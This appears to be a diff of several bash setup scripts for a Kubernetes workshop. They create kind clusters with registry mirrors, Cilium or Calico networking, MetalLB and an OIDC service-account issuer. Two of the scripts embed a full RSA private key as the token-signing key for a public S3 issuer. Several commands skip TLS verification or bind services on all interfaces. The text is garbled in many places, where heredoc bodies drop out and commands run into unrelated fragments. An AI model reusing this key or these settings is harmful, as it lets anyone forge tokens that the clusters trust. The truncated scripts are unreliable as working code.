]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p 